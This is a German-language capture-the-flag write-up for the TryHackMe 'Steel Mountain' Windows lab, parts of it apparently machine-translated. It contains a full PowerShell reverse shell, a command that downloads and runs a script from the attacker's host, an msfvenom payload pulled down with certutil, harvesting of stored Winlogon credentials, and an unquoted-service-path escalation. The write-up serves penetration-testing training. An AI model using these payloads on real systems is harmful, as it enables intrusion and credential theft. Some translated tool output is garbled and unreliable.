Steel Mountain – TryHackMe – Handbuchbeschreibung

Reading Time: ( Word Count: )

Februar 15, 2021
Nextdoorsec-course

Intro

Hallo und willkommen zu meinem allerersten Bericht.

In letzter Zeit habe ich viel Zeit auf TryHackMe verbracht; es ist eine wirklich fesselnde Plattform, auf der man lernen und gleichzeitig seine Hacking-Fähigkeiten üben kann. Anstatt Befehle und Theorien zu posten, habe ich mich entschlossen, Aufsätze zu verfassen, da dies einen viel größeren Nutzen bringt. Fangen wir also an. Hier ist ein Link zu der Box.

Steel Mountain ist eine Windows-Maschine von TryHackMe, die auf der Fernsehserie Mr. Robot basiert (meine Lieblingsserie). Die offizielle Komplettlösung wird mit Metasploit bereitgestellt, was das Rooten ziemlich einfach macht. Heute werden wir jedoch alles manuell durchführen, da Sie bei der OSCP-Prüfung keine Auto-Exploit-Tools verwenden können.

Auf diese Weise verstehen Sie, wie alles hinter den Kulissen funktioniert. Wenn Sie also mit Skripten, die alles automatisch erledigen, nicht weiterkommen, können Sie auf die manuelle Vorgehensweise zurückgreifen. Ich habe die Methodik einfach gehalten: Enumeration, Exploitation & Privilege Escalation.

Aufzählung

Durchführung eines Nmap-Scans:

┌──(kali㉿kali)-[~] └─$ export IP=10.10.212.213
┌──(kali㉿kali)-[~] └─$ nmap -A -Pn -v $IP
PORT ZUSTAND SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: | Unterstützte Methoden: OPTIONS TRACE GET HEAD POST |_ Potenziell riskante Methoden: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Die Website hat keinen Titel (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-zertifikat: Betreff: commonName=steelmountain | Emittent: commonName=steelmountain | Typ des öffentlichen Schlüssels: rsa | Öffentlicher Schlüssel Bits: 2048 | Signatur-Algorithmus: sha1WithRSAEncryption | Nicht gültig vor: 2020-10-11T19:04:29 | Nicht gültig nach: 2021-04-12T19:04:29 | MD5: cf4c 483f 7654 c778 e6b9 0144 1de0 18c9 |_SHA-1: ed4f 6cac 8059 d465 9e7b 7730 8ac4 56a4 67df d29c |_ssl-date: 2021-02-05T15:22:17+00:00; -1s ab Scanner-Zeit. 8080/tcp open http HttpFileServer httpd 2.3 |_http-favicon: Unbekanntes Favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1 | http-methods: |_ Unterstützte Methoden: GET HEAD POST |_http-server-header: HFS 2.3 |_http-title: HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service-Informationen: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Ergebnisse des Host-Skripts: |_clock-skew: Mittelwert: -1s, Abweichung: 0s, Median: -1s | nbstat: NetBIOS-Name: STEELMOUNTAIN, NetBIOS-Benutzer: , NetBIOS MAC: 02:d5:4c:6e:e4:ef (unbekannt) | Namen: | STEELMOUNTAIN<00> Flaggen: | WORKGROUP<00> Flaggen: |_ STEELMOUNTAIN<20> Flaggen: | smb-security-mode: | account_used: Gast | authentication_level: user | challenge_response: unterstützt |Message_signing: deaktiviert (gefährlich, aber Standard) | smb2-security-mode: | 2.02: |Nachrichtenunterzeichnung aktiviert, aber nicht erforderlich | smb2-Zeit: | Datum: 2021-02-05T15:22:11 |_ start_date: 2021-02-05T14:09:29

Ich mag es, das Flag -v für die Ausführlichkeit mit einzubeziehen. Wenn der Scan weiterläuft und mir einige Ergebnisse liefert, kann ich nach etwas Interessantem Ausschau halten. Auf Port 80 finden wir einen Microsoft-Webserver, der ein zufälliges Bild von jemandem aus der Serie Mr. Robot enthält.

 

Der Einsatz von Dirbuster bringt uns nichts Interessantes.

 

Wenn wir den Webserver an Port 8080 untersuchen, finden wir einen http-Dateiserver mit der Version 2.3, links unten sehen wir „Serverinformationen“, die einen Link zur Website des Anbieters enthalten:

Es leitet uns zu www.rejetto.com/hfs weiter.

Ausbeutung

Lassen Sie uns prüfen, ob diese Version des Webservers anfällig ist:

┌──(kali㉿kali)-[~] └─$ searchsploit rejetto 2.3
----------------------------------------------------------------------------------------- --------------------------------- Exploit-Titel | Pfad ----------------------------------------------------------------------------------------- --------------------------------- Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py ----------------------------------------------------------------------------------------- --------------------------------- Shellcodes: Keine Ergebnisse

 

Kopieren Sie den Exploit in einen lokalen Pfad und überprüfen Sie seine Verwendung. Nach der Lektüre brauchen wir eine Reverse-Shell-Payload, ich werde Powershell verwenden, da ich es nicht viel getestet habe. Im Folgenden finden Sie den Code und stellen Sie sicher, dass Sie die IP- und Port-Werte mit Ihren eigenen Werten ändern.

Nach der Konfiguration der Nutzlast ist es an der Zeit, unseren Netcat-Listener (mit sudo, wenn der Port kleiner als 1023 ist) und unseren HTTP-Server zu starten, um das Reverse-Shell-Binary auf das Ziel herunterzuladen und auszuführen.

┌──(kali㉿kali)-[~] └─$ cp /usr/share/exploitdb/exploits/windows/webapps/49125.py ./rejetto.py ┌──(kali㉿kali)-[~] └─$ cat rejetto.py python3 Exploit.py <RHOST> <Target RPORT> <Command> ┌──(kali㉿kali)-[~] └─$ gedit reverse.ps1& $client = New-Object System.Net.Sockets.TCPClient('10.8.152.221',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text .encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close();
┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 listening on [any] 443 ... ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300

 

Nachdem wir nun alles eingerichtet haben, ist es an der Zeit, unseren Exploit auszuführen und die Shell mit unserem Listener abzufangen (dieser Einzeiler läuft im Speicher der Powershell):

┌──(kali㉿kali)-[~] └─$ python3 rejetto.py $IP 8080 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.8.152.221:5300/reverse.ps1')"
 

Privilegieneskalation

Wir sind jetzt drin, das heißt, es ist Zeit für eine weitere Aufzählung, wir müssen Schwachstellen finden und verwundbare Konfigurationen identifizieren. Ich beginne immer damit, herauszufinden, wer ich bin und was meine Privilegien sind.

whoami

lauscht auf [any] 443 ... verbindet sich mit [10 .10.10.10] von (UNBEKANNT) [10 .10.212.213] 50067 PS C:\Benutzer\Rechnung\AppDaten\Roaming\Microsoft\Windows\Startmenü\Programme\Startup>whoami steelmountain\Rechnung > whoami /priv INFORMATIONEN ZU PRIVILEGIEN ---------------------- Name der Berechtigung Beschreibung Status ============================= ============================== ======== SeChangeNotifyPrivilege Umgehen der Überprüfungsfunktion Aktiviert SeIncreaseWorkingSetPrivilege Erhöhen einer Prozessarbeitsgruppe Deaktiviert

Die Umgehung der Zugriffsprüfung bedeutet, dass wir nur bestimmte Dateien in bestimmten Ordnern anzeigen können, ohne deren Inhalt auflisten zu können. Wir können nur zu den Dateien „durchblättern“, auf die wir zuvor vom Administrator oder vom System Zugriff erhalten haben.

 

Andere (versteckte) Benutzer

Sehen wir uns die anderen vorhandenen Benutzer im System an, die -Force können wir auch die versteckten Dateien sehen:

PS C:\Benutzer\Abrechnung\Desktop> net users Benutzerkonten für \STEELMOUNTAIN ------------------------------------------------------------------------------- Administratorrechnung Gast Der Befehl wurde erfolgreich abgeschlossen. PS C:\Benutzer\Rechnung\Downloads> Get-ChildItem C:\Benutzer -Force | select Name Name ---- Verwalter Alle Benutzer Rechnung Standard Standard-Benutzer Öffentlich desktop.ini
 
 

Alle Benutzer in der Gruppe „Administratoren

Wir finden keinen der Benutzer in der Gruppe „Administratoren“.

PS C:\Benutzer\Rechnung\Downloads> net localgroup Administratoren Aliasname Administratoren Kommentar Administratoren haben vollständigen und uneingeschränkten Zugriff auf den Computer/die Domäne Mitglieder ------------------------------------------------------------------------------- Administrator Der Befehl wurde erfolgreich ausgeführt.
 
 

Prüfen wir Winlogon auf gespeicherte Anmeldedaten

PS C:\Benutzer\Rechnung\Downloads> reg-Abfrage "HKLM\Software\Microsoft\Windows NT\AktuelleVersion\winlogon"
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\AktuelleVersion\winlogon Userinit REG_SZ C:\Windows\system32\userinit.exe, LegalNoticeText REG_SZ Shell REG_SZ explorer.exe LegalNoticeCaption REG_SZ DebugServerBefehl REG_SZ nein ForceUnlockLogon REG_DWORD 0x0 BerichtBootOk REG_SZ 1 VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Herunterfahren nach dem Herunterfahren REG_SZ 0 HerunterfahrenohneAnmeldung REG_SZ 0 Hintergrund REG_SZ 0 0 0 PreloadFontFile REG_SZ SC-Load.All KennwortAblaufWarnung REG_DWORD 0x5 CachedLogonsCount REG_SZ 10 WinStationsDisabled REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 Abschalt-Flags REG_DWORD 0x7 AutoLogonSID REG_SZ S-1-5-21-3029548963-3893655183-1231094572-1001 LastUsedUsername REG_SZ Rechnung Standard-Benutzername REG_SZ Rechnung StandardKennwort REG_SZ PMBAf5KhZAxVhvqb AutoAdminLogon REG_SZ 1 PS C:\Benutzer\Rechnung\Downloads> Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Standard*"
StandardBenutzername StandardPasswort --------------- --------------- Rechnung PMBAf5KhZAxVhvqb

Wir haben Bills Passwort gefunden: PMBAf5KhZAxVhvqb

Obwohl wir einen offenen RDP-Port (3389) haben, konnte ich keine Verbindung herstellen, ich weiß nicht warum.

Tipp: HKLM-Schlüssel werden (falls erforderlich) bei jedem Systemstart ausgeführt, während HKCU-Schlüssel nur ausgeführt werden, wenn sich ein bestimmter Benutzer am System anmeldet.

 

Prüfen Sie auf schwache Ordnerberechtigungen

Mit der von der offiziellen Microsoft-Website heruntergeladenen Datei accesschk.exe finden wir alle schwachen Ordnerberechtigungen pro Laufwerk.
Website
. Sie können Ihren Apache-Server oder einen smb-Server für die Übertragung verwenden. (dauerte ca. 1 Minute, haben Sie Geduld)

PS C:\Benutzer\Rechnung\Downloads> .\accesschk.exe /accepteula -uwdqs Benutzer C:\
RW C:\ RW C:\ProgramData\Amazon RW C:\ProgramData\IObit RW C:\ProgramData\Oracle RW C:\ProgramData\ProductData RW C:\ProgramData\{FD6F83C0-EC70-4581-8361-C70CD1AA4B98} RW C:\ProgrammDaten\Amazon\EC2-Windows RW C:\ProgrammDaten\Amazon\Ec2Config RW C:\ProgrammDaten\Amazon\SSM RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Config RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Module RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Scripts RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Einstellungen RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Sysprep RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Module\Scripts RW C:\ProgrammDaten\Amazon\Ec2Config\Logs RW C:\ProgrammDaten\Amazon\Ec2Config\Monitor RW C:\ProgrammDaten\Amazon\SSM\InstanceData RW C:\Programme\Daten\Amazon\SSM\Logs RW C:\ProgrammDaten\IObit\Advanced SystemCare RW C:\ProgramData\IObit\ASCDownloader RW C:\ProgramData\IObit\IObit Uninstaller RW C:\ProgrammDaten\IObit\IObitRtt RW C:\ProgrammDaten\IObit\Erweiterte Systempflege\Homepage-Schutz RW C:\ProgrammDaten\IObit\Erweiterte Systempflege\smBootTime RW C:\ProgrammDaten\IObit\Erweiterte Systempflege\Startup Manager RW C:\Programmdaten\IObit\IObit Uninstaller\Datenbank ... ----------------- -d Nur Verzeichnisse oder Schlüssel der obersten Ebene verarbeiten -q Banner auslassen -s Rekursion -u Fehler unterdrücken -v Verbose (beinhaltet Windows Vista Integrity Level) -w Nur Objekte anzeigen, die Schreibzugriff haben

Die IObit-Software erregt sofort meine Aufmerksamkeit, weil sie ungewöhnlich ist (nachdem man einige Standardeinstellungen gesehen hat, gewöhnt man sich daran). Erneute Suche nach schwachen Dateiberechtigungen mit „.\accesschk.exe -uwqs Users c:\„. führt zu den gleichen Ergebnissen.

 
 

Prüfung auf laufende Prozesse/Dienste

PS C:\Benutzer\Abrechnung\Downloads> tasklist /svc
Bild Name PID Dienste ========================= ======== ============================================ ... services.exe 640 N/A lsass.exe 648 SamSs svchost.exe 704 BrokerInfrastructure, DcomLaunch, LSM, PlugPlay, Leistung, SystemEventsBroker svchost.exe 732 RpcEptMapper, RpcSs ASCService.exe 824 AdvancedSystemCareService9 dwm.exe 836 N/A svchost.exe 948 Dhcp, EventLog, lmhosts, Wcmsvc ...

 

 

Suche nach dem Prozesseigentümer des Dienstes

Dieser Einzeiler gibt den Prozesseigentümer ohne Administratorrechte zurück. Wenn unter Eigentümer etwas leer ist, läuft es wahrscheinlich als SYSTEM, NETZWERKDIENST oder LOKALER DIENST.

PS C:\Users\bill\Downloads> Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
Name Handle Besitzer ---- ------ ----- System Leerlauf Prozess 0 System 4 smss.exe 360 csrss.exe 492 csrss.exe 544 wininit.exe 572 winlogon.exe 580 services.exe 640 lsass.exe 648 ASCService.exe 824 dwm.exe 836 spoolsv.exe 1208 amazon-ssm-agent.exe 1252 LiteAgent.exe 1324 LiveUpdate.exe 1452 Ec2Config.exe 1664 WmiPrvSE.exe 2368 taskhostex.exe 2628 Rechnung explorer.exe 2692 Rechnung hfs.exe 2504 Rechnung msdtc.exe 3488 powershell.exe 3636 Rechnung powershell.exe 3660 Rechnung conhost.exe 3668 Rechnung conhost.exe 3692 Rechnung

 

 

Abfrage des Dienstes

Wir haben AdvancedSystemCareService fast bei jeder Überprüfung gesehen, lassen Sie uns den Dienst abfragen, um seine Konfiguration zu überprüfen:

PS C:\Users\Bill\Downloads> cmd.exe /c 'sc qc AdvancedSystemCareService9'
[SC] QueryServiceConfig SUCCESS SERVICE_NAME: AdvancedSystemCareService9 TYP : 110 WIN32_OWN_PROCESS (interaktiv) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe LOAD_ORDER_GROUP : System reserviert TAG : 1 DISPLAY_NAME : Fortgeschrittener SystemCare-Dienst 9 ABHÄNGIGKEITEN : DIENST_START_NAME : LokalesSystem

Der binäre Pfadname ist nicht in Anführungszeichen gesetzt und enthält Leerzeichen. Windows wird also zuerst versuchen, Advanced.exe vor der eigentlichen ausführbaren Datei auszuführen. Daher müssen wir unsere Nutzlast in C:\Programme (x86)\IObit\ platzieren und sie in Advanced.exe umbenennen. Starten Sie anschließend den Dienst neu, da er derzeit wie oben gezeigt ausgeführt wird. Wir haben auch bestätigt, dass wir mit accesschk.exe Lese- und Schreibzugriff (RW) auf den oben genannten Ordner haben.

 

Wir erstellen unsere zweite Reverse-Shell-Nutzlast mit msfvenom, nennen sie Advanced.exe, übertragen sie mit certutil.exe auf den Zielcomputer und starten einen Listener auf dem angegebenen Port. Stoppen Sie den Dienst, stellen Sie sicher, dass er mit Get-Service gestoppt wurde und starten Sie ihn erneut:

PS C:\Users\bill\Downloads> msfvenom -p windows/shell_reverse_tcp LHOST=10.8.152.221 LPORT=5555 -f exe -o Advanced.exe PS C:\Users\bill\Downloads> certutil.exe -urlcache -split -f "http://10.8.152.221:5300/Advanced.exe" Advanced.exe PS C:\Users\bill\Downloads> Stop-Service AdvancedSystemCareService9 PS C:\Benutzer\Abrechnung\Downloads> Get-Service AdvancedSystemCareService9 PS C:\Benutzer\Abrechnung\Downloads> Start-Service AdvancedSystemCareService9

Jetzt sollten Sie eine Shell als SYSTEM haben.

Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

„Apple neutralisiert ausgenutzte Sicherheitslücken: Ein umfassendes Update“

Apple hat Sicherheitsverbesserungen eingeführt, um Zero-Day-Schwachstellen zu neutralisieren, die bei ...

„Unsichtbare Risiken: Wie der gestohlene Microsoft-Schlüssel mehr als erwartet freischalten könnte“

Der angebliche Diebstahl eines Microsoft-Sicherheitsschlüssels könnte es Spionen, die mit Peking in Verbindung ...

„Die KI-Leistung von ChatGPT: Jenseits des Turing-Tests oder noch nicht ganz da?“

ChatGPT, ein Chatbot mit künstlicher Intelligenz von OpenAI, hat aufgrund seiner außergewöhnlichen Fähigkeiten ...
0 Kommentare

Einen Kommentar abschicken

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert